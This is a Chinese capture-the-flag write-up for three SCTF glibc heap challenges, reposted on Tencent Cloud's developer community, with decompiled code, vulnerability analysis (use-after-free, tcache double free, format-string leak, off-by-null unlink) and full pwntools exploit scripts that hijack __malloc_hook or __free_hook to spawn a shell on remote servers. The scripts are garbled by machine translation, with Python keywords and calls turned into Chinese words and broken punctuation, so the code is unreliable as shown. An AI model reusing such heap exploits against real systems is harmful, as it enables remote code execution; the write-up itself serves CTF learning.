题目都是堆的题,第一题玄学爆破1/4096,做完校队师傅和我说他1/200的几率都没出来,果然比赛看人脸黑不黑。下面是详细的题解。
题目看起来并不难,逻辑很简单,并且给了libc的是2.27的所以自然的联想到又tcache,接下来进行详细的分析。
逻辑很简单这里我进行了一个函数名的改变看起来清楚一点
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int i; // eax
flash();
while ( 1 )
{
for ( i = menu(); i != 1; i = menu() )
{
if ( i != 2 )
exit(0);
delete();
}
add(a1, a2);
}
}
简单的选择逻辑没有什么问题
__int64 sub_C70()
{
unsigned __int64 v0; // ST08_8
__int64 result; // rax
unsigned __int64 v2; // rt1
v0 = __readfsqword(0x28u);
puts("1. new");
puts("2. delete");
_printf_chk(1LL, "Your choice:");
v2 = __readfsqword(0x28u);
result = v2 ^ v0;
if ( v2 == v0 )
result = sub_C10();
return result;
这里是主要的问题点,存在一个uaf的漏洞但是同样对free的次数存在限制总共只能免费4次,然后自由的时候是没有idx选择,每次ptr位置只有一个堆块的地址。
unsigned __int64 sub_D90()
{
unsigned __int64 v1; // [rsp+8h] [rbp-10h]
v1 = __readfsqword(0x28u);
if ( !dword_202014 )
exit(0);
free(ptr);
puts("Done!");
--dword_202014;
return __readfsqword(0x28u) ^ v1;
}
这里任意的malloc的大小存在限制,并且malloc的的数量也是固定的,然后的malloc后可以读入堆。
unsigned __int64 add()
{
unsigned int v0; // eax
size_t v1; // rbx
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
if ( !dword_202010 )
LABEL_5:
exit(0);
_printf_chk(1LL, "Input the size:");
v0 = sub_C10(1LL, "Input the size:");
v1 = (signed int)v0;
if ( v0 > 0x7F )
{
puts("Invalid size!");
goto LABEL_5;
}
_printf_chk(1LL, "Input the content:");
ptr = malloc(v1);
sub_B70(ptr, v1);
puts("Done!");
--dword_202010;
return __readfsqword(0x28u) ^ v3;
}
这里调试可以吧本地随机化关了,如果预期解是这样的话..我就真的没话说了,如果这是非预期..(对不住了出题人..
来自 pwn import *
context 。log_level = “debug”
p = process (“./ one_heap” )
a = ELF (“./libc-2.27.so” )#
p = remote(“47.104.89.129”,10001)
gdb 。attach (p )
def new (size ,content ):
p 。recvuntil (“你的选择:” )
p 。sendline (“1” )
p 。recvuntil(“输入大小:” )
p 。sendline (str (size ))
p 。recvuntil (“输入内容:” )
p 。sendline (content )
def remove ():
p 。recvuntil (“你的选择:” )
p 。sendline (“2” )
def new0 (size ,content ):
p 。recvuntil (“你的选择:” )
p 。sendline (“1” )
p 。recvuntil (“输入大小:” )
p 。sendline (str (size ))
p 。recvuntil (“输入内容:” )
p 。send (content )
new (0x60 ,“aaa” )
remove ()
remove ()
new (0x60 ,“ \ x20 \ x60 ” )
new (0x60 ,“b” )
raw_input ()
new (0x60 ,“ \ x60 \ x07 ” )
pay = p64 (0xfbad1880 ) + p64 (0 )* 3 + “ \ x00 ”
new (0x60 ,pay )
libc_addr = u64 (p 。recvuntil (“ \ x7f ” )[ 8 :8 + 6 ] 。ljust (8 ,“ \ x00 ” ))- 0x3ed8b0
print hex (libc_addr )
malloc_hook = a 。符号[ “__malloc_hook” ] + libc_addr
relloc_hook = a 。符号[ “__realloc_hook” ] + libc_addr
print hex (malloc_hook )
one = 0x4f2c5 + libc_addr
打印 一个
新的(为0x50 ,“A” )
除去()
删除()
新(为0x50 ,P64 (relloc_hook ))
新(为0x50 ,“花生” )
新的(为0x50 ,P64 (一个)+ P64 (libc_addr + 一个。符号[ 'realloc' ] + 0xe ))
打印 hex (one )
new(0x30 ,“b” )
p 。互动()
这个题刚开始感觉是和one_heap相同,可能也是爆破,但是发现了大小存在限制需要绕过所以就不想one_heap了,这个尺寸限制导致我们只能利用3个左右的堆块。
这里我也标出了函数,这个函数主要的作用是在泄漏上,因为printf_chk可以做到用%一去泄漏,具体可以参考BCTF和HCTF的题。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
__int64 v4; // [rsp+1Ch] [rbp-1Ch]
int v5; // [rsp+24h] [rbp-14h]
unsigned __int64 v6; // [rsp+28h] [rbp-10h]
v6 = __readfsqword(0x28u);
sub_12D0(a1, a2, a3);
v4 = 0LL;
v5 = 0;
puts("Welcome to SCTF:");
leak(&v4, 11);
__printf_chk(1LL, &v4, 0xFFFFFFFFLL, 0xFFFFFFFFLL, 0xFFFFFFFFLL);
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 1 )
break;
add();
}
if ( v3 != 2 )
{
puts("exit.");
exit(0);
}
del();
}
}
主要是增加了堆块,并且进行了一个位运算使得末尾成为了一个为0x0或者是0x8中的数,当然这里是可以绕过的,他没有检查堆块大小的大小所以可以魔改操作一波
unsigned __int64 sub_14A0()
{
FILE **v0; // rbp
__int64 v1; // rbx
__int64 **v2; // rax
int v3; // er12
__int64 *v4; // rbp
__int64 **v5; // rbx
unsigned __int64 v7; // [rsp+8h] [rbp-30h]
v0 = (FILE **)&off_4020;
v1 = 0LL;
v7 = __readfsqword(0x28u);
v2 = &off_4020;
while ( v2[1] )
{
++v1;
v2 += 2;
if ( v1 == 8 )
goto LABEL_4;
}
puts("Input the size:");
v3 = sub_13E0("Input the size:") & 0xFFFFFFF8;
if ( v3 > 128 )
goto LABEL_4;
do
{
if ( *(_DWORD *)v0 == v3 )
{
puts("I don't like the same size!");
exit(0);
}
v0 += 2;
}
while ( &stdout != v0 );
v4 = (__int64 *)malloc(v3);
if ( !v4 )
LABEL_4:
exit(0);
puts("Input the note:");
v5 = &(&off_4020)[2 * v1];
leak(v4, v3);
*(_DWORD *)v5 = v3;
v5[1] = v4;
return __readfsqword(0x28u) ^ v7;
}
删除函数同样是没有对指针置0,漏洞很明显,就是利用起来比较困难了。这里检查了一下IDX是否符合要求。
void sub_15A0()
{
__int64 v0; // rax
unsigned __int64 v1; // [rsp+8h] [rbp-10h]
v1 = __readfsqword(0x28u);
puts("Input the index:");
v0 = (signed int)sub_13E0("Input the index:");
if ( (unsigned __int64)(signed int)v0 > 7 )
exit(0);
if ( __readfsqword(0x28u) == v1 )
free((&off_4020)[2 * v0 + 1]);
}
感觉这个题目出的可以,都是知识盲区现找现查,学到很多。
来自 pwn import *
context 。log_level = “debug”
#p = process(“./ two_heap”,env = {“LD_PRELOAD”:“。/ libc-2.26.so”})
a = ELF (“./ libc-2.26.so” )
p = remote (“47.104.89.129” ,10002 )
#gdb.attach(p)#,“b * 0x5555555554a0”)
def new (size ,content ):
p 。recvuntil (“你的选择:” )
p 。发送线(“1”
recvuntil (“输入大小:” )
p 。sendline (str (size ))
p 。recvuntil (“输入注释:” )
p 。sendline (content )
def remove (idx ):
p 。recvuntil (“你的选择:” )
p 。sendline (“2” )
p 。recvuntil (“输入索引:” )
p 。sendline (str (idx ))
def new0 (size ,content ):
p 。recvuntil (“你的选择:” )
p 。sendline (“1” )
p 。recvuntil (“输入大小:” )
p 。sendline (str (size ))
p 。recvuntil (“输入注释:” )
p 。发送(内容)
p 。recvuntil(“欢迎来到SCTF:” )
p 。sendline (“%a” * 5 )
p 。recvuntil (“0x0p + 00x0p + 00x0.0” )
lib_addr = INT (p 。recvuntil (“P-10220x” ,降= 真)+ “0” ,16 ) - 一个。符号[ “_IO_2_1_stdout_” ]
free_hook = a 。符号[ “__free_hook” ]+ lib_addr
system = lib_addr + a 。symbols [ “system” ]
print hex (lib_addr )
new0 (0x1 ,“” )
remove (0 )
remove (0 )
raw_input ()
new0 (0x8 ,p64 (free_hook ))
new0 (0x10 ,“ \ n ” )
new (24 ,p64 (system ))
new (0x60 ,“/ bin / sh \ x00 ” )
remove (4 )
p 。互动()
这个题主要是在offbynull上,题目如果预期解是一个橘子的话这个题就复杂了很多但是其实用unlink解就容易多了。
主要实现了功能
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
v3 = 0;
sub_CD0();
while ( 1 )
{
while ( 1 )
{
menu();
_isoc99_scanf(&unk_12A8, &v3);
if ( v3 != 2 )
break;
del();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
fill();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice!");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add();
}
}
}
正常的一个删除函数
int del()
{
void *v0; // rax
unsigned int v2; // [rsp+Ch] [rbp-4h]
printf("Index: ");
v2 = sub_EE5();
if ( v2 <= 0xF && qword_202060[2 * v2 + 1] )
{
free(qword_202060[2 * v2 + 1]);
qword_202060[2 * v2 + 1] = 0LL;
qword_202060[2 * v2] = 0LL;
v0 = &unk_202040;
--unk_202040;
}
else
{
LODWORD(v0) = puts("Invalid index.");
}
return (signed int)v0;
这里存在一个off by null的漏洞是可以利用的
int fill()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
printf("Index: ");
v1 = sub_EE5();
if ( v1 > 0xF || !qword_202060[2 * v1 + 1] )
return puts("Invalid index.");
printf("Content: ");
return input((__int64)qword_202060[2 * v1 + 1], (unsigned __int64)qword_202060[2 * v1]);
}
这里的方法细节是在bss段构造一个fakechunk然后自由进入unsortedbin会有libc地址残留在指针处,然后改指针的低位,就可以malloc到需要的地方,然后改malloc_hook为一就可以了。
来自 pwn import *
context 。arch = “amd64”
上下文。log_level = “debug”
#p = process(“./ easy_heap”)#,env = {“LD_PRELOAD”:“。/ libc.so.6”})
a = ELF (“./ easy_heap” )
e = a 。libc的
打印 十六进制(É 。符号[ “放” ])
p = 远程(“132.232.100.67” ,10004 )
#gdb.attach(P)#, “B * 0x5555555554a0”
(大小):
p 。recvuntil (“>>” )
p 。sendline (“1” )
p 。recvuntil (“大小:” )
p 。sendline (str (size ))
def remove (idx ):
p 。recvuntil (“>>” )
p 。sendline (“2” )
p 。recvuntil (“索引:” )
p 。sendline (str (idx ))
def edit (idx ,content ):
p 。recvuntil (“>>” )
p 。sendline (“3” )
p 。recvuntil (“索引:” )
p 。sendline (str (idx ))
p 。recvuntil (“内容:” )
p 。sendline (内容)
p 。recvuntil (“MMAP:” )
mmap_addr = INT (p 。recvuntil (“ \ n ” ,降= 真),16 )
打印 进制(mmap_addr )
添加(0xF8的)
p 。recvuntil (“地址0X” )
地址 = INT (p 。recvline () 。条(),16 ) - 0x202068
添加(0xf8 )
add (0x20 )
edit (0 ,p64 (0 )+ p64 (0xf1 )+ p64 (addr + 0x202068 - 0x18 )+ p64 (addr + 0x202068 - 0x10 )+ “a” * 0xd0 + p64 (0xf0 ))
删除(1 )
编辑(0 ,p64(0 )* 2 + P64 (0xF8的)+ P64 (地址+ 0x202078 )+ P64 (0x140 )+ P64 (mmap_addr ))
编辑(1 ,ASM (shellcraft 。SH ()))
bss_addr = 0x202040
编辑(0 ,P64 (addr + 0x202090 )+ p64 (0x20 )+ p64 (0x91 )+ p64 (0 )* 17 + p64 (0x21 )* 5 )
删除(1 )
编辑(0 ,p64 (0 )* 3 + p64 (0x100 )+ ' \ x10 ' )
编辑(3 ,p64)(mmap_addr ))
add (0x20 )
p。互动()
题目感觉还是挺有质量的,就是怪自己手速太慢,没拿到几个血,我TCL,WSL。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。